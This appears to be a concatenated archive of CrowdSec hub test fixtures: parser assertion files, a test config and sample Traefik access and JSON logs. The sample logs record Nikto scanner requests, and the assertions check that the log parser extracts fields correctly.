"/upload.asp?test=toto&tata=test" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["timestamp"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_args_len"] == "19" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Enriched["MarshaledTime"] == "2021-12-08T09:16:05Z" results["s02-enrich"]["crowdsecurity/http-logs"][2].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["request"] == "/cgi.cgi/" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["file_dir"] == "/cgi.cgi/" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "240" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["body_bytes_sent"] == "352" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /cgi.cgi/ HTTP/1.1\" 200 352 \"-\" \"Nikto\" 240 \"test@docker\" \"http://172.17.0.3:80\" 0ms" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["timestamp"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_path"] == "/cgi.cgi/" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Enriched["MarshaledTime"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/http-logs"][3].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["traefik_server_url"] == "http://172.17.0.3:80" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["file_frag"] == "index" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["file_name"] == "index" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "242" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["request_duration_in_ms"] == "1" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["time_local"] == "08/Dec/2021:13:59:39 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["message"] == "172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] \"GET /index?toto=tata HTTP/1.1\" 200 352 \"-\" \"Nikto\" 242 \"test@docker\" \"http://172.17.0.3:80\" 1ms" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["request"] == "/index" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_args"] == "toto=tata" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["body_bytes_sent"] == "352" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["port"] == "80" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_path"] == "/index?toto=tata" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["timestamp"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_args_len"] == "9" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Enriched["MarshaledTime"] == "2021-12-08T13:59:39Z" results["s02-enrich"]["crowdsecurity/http-logs"][4].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["number_of_requests_received_since_traefik_started"] == "45640" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["request_duration_in_ms"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["time_local"] == "28/Sep/2022:13:38:04 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["traefik_router_name"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["file_ext"] == ".cs" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["file_frag"] == "home" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["file_name"] == "home.cs" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["http_user_agent"] == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["status"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["body_bytes_sent"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["remote_addr"] == "172.17.1.1" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["file_dir"] == "/mobileadmin/" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["message"] == "172.17.1.1 - - [28/Sep/2022:13:38:04 +0000] \"GET /mobileadmin/home.cs HTTP/1.1\" - - \"-\" \"Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)\" 45640 \"-\" \"-\" 0ms" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["request"] == "/mobileadmin/home.cs" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["traefik_server_url"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["timestamp"] == "2022-09-28T13:38:04Z" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["http_path"] == "/mobileadmin/home.cs" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["http_status"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["source_ip"] == "172.17.1.1" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["datasource_path"] == "traefik_clf.log" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Meta["traefik_router_name"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][4].Evt.Enriched["MarshaledTime"] == "2022-09-28T13:38:04Z" len(results["success"][""]) == 0 hub1/.tests/traefik_clf/scenario.assert000066400000000000000000000000001437532772500204410ustar00rootroot00000000000000hub1/.tests/traefik_clf/traefik_clf.log000066400000000000000000000013401437532772500203770ustar00rootroot00000000000000172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] "GET /scripts/cpshost.dll HTTP/1.1" 200 414 "-" "-" 500 "test@docker" "http://172.17.0.3:80" 0ms 172.17.0.1 - - [08/Dec/2021:09:16:05 +0000] "GET /upload.asp?test=toto&tata=test HTTP/1.1" 200 405 "-" "-" 502 "test@docker" "http://172.17.0.3:80" 0ms 172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] "GET /cgi.cgi/ HTTP/1.1" 200 352 "-" "Nikto" 240 "test@docker" "http://172.17.0.3:80" 0ms 172.17.0.1 - - [08/Dec/2021:13:59:39 +0000] "GET /index?toto=tata HTTP/1.1" 200 352 "-" "Nikto" 242 "test@docker" "http://172.17.0.3:80" 1ms 172.17.1.1 - - [28/Sep/2022:13:38:04 +0000] "GET /mobileadmin/home.cs HTTP/1.1" - - "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:006607)" 45640 "-" "-" 0ms hub1/.tests/traefik_json/000077500000000000000000000000001437532772500156325ustar00rootroot00000000000000hub1/.tests/traefik_json/config.yaml000066400000000000000000000004101437532772500177560ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/traefik-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - "" postoverflows: - "" log_file: traefik_json.log log_type: traefik labels: {} ignore_parsers: false hub1/.tests/traefik_json/parser.assert000066400000000000000000000707021437532772500203570ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":357,\"DownstreamStatus\":200,\"Duration\":357313,\"OriginContentSize\":357,\"OriginDuration\":324669,\"OriginStatus\":200,\"Overhead\":32644,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":190,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.save\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.587782192Z\",\"StartUTC\":\"2021-12-08T14:02:43.587782192Z\",\"downstream_Content-Length\":\"357\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"357\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "traefik_json.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":358,\"DownstreamStatus\":200,\"Duration\":564849,\"OriginContentSize\":358,\"OriginDuration\":539617,\"OriginStatus\":200,\"Overhead\":25232,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":191,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.local\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.589545005Z\",\"StartUTC\":\"2021-12-08T14:02:43.589545005Z\",\"downstream_Content-Length\":\"358\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"358\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "traefik" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "traefik_json.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["crowdsecurity/traefik-logs"]) == 2 results["s01-parse"]["crowdsecurity/traefik-logs"][0].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["request"] == "/594VAEoi.save" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["service_addr"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["body_bytes_sent"] == "357" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["http_user_agent"] == "Nikto" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":357,\"DownstreamStatus\":200,\"Duration\":357313,\"OriginContentSize\":357,\"OriginDuration\":324669,\"OriginStatus\":200,\"Overhead\":32644,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":190,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.save\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.587782192Z\",\"StartUTC\":\"2021-12-08T14:02:43.587782192Z\",\"downstream_Content-Length\":\"357\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"357\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Parsed["request_duration_in_ms"] == "357313" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["datasource_path"] == "traefik_json.log" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][0].Evt.Meta["http_path"] == "/594VAEoi.save" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Success == true results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":358,\"DownstreamStatus\":200,\"Duration\":564849,\"OriginContentSize\":358,\"OriginDuration\":539617,\"OriginStatus\":200,\"Overhead\":25232,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":191,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.local\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.589545005Z\",\"StartUTC\":\"2021-12-08T14:02:43.589545005Z\",\"downstream_Content-Length\":\"358\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"358\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["program"] == "traefik" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["request"] == "/594VAEoi.local" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["request_duration_in_ms"] == "564849" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["body_bytes_sent"] == "358" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["service_addr"] == "172.17.0.3" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Parsed["http_user_agent"] == "Nikto" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["datasource_path"] == "traefik_json.log" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["http_path"] == "/594VAEoi.local" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/traefik-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/594VAEoi.save" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":357,\"DownstreamStatus\":200,\"Duration\":357313,\"OriginContentSize\":357,\"OriginDuration\":324669,\"OriginStatus\":200,\"Overhead\":32644,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":190,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.save\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.587782192Z\",\"StartUTC\":\"2021-12-08T14:02:43.587782192Z\",\"downstream_Content-Length\":\"357\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"357\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["service_addr"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "357" 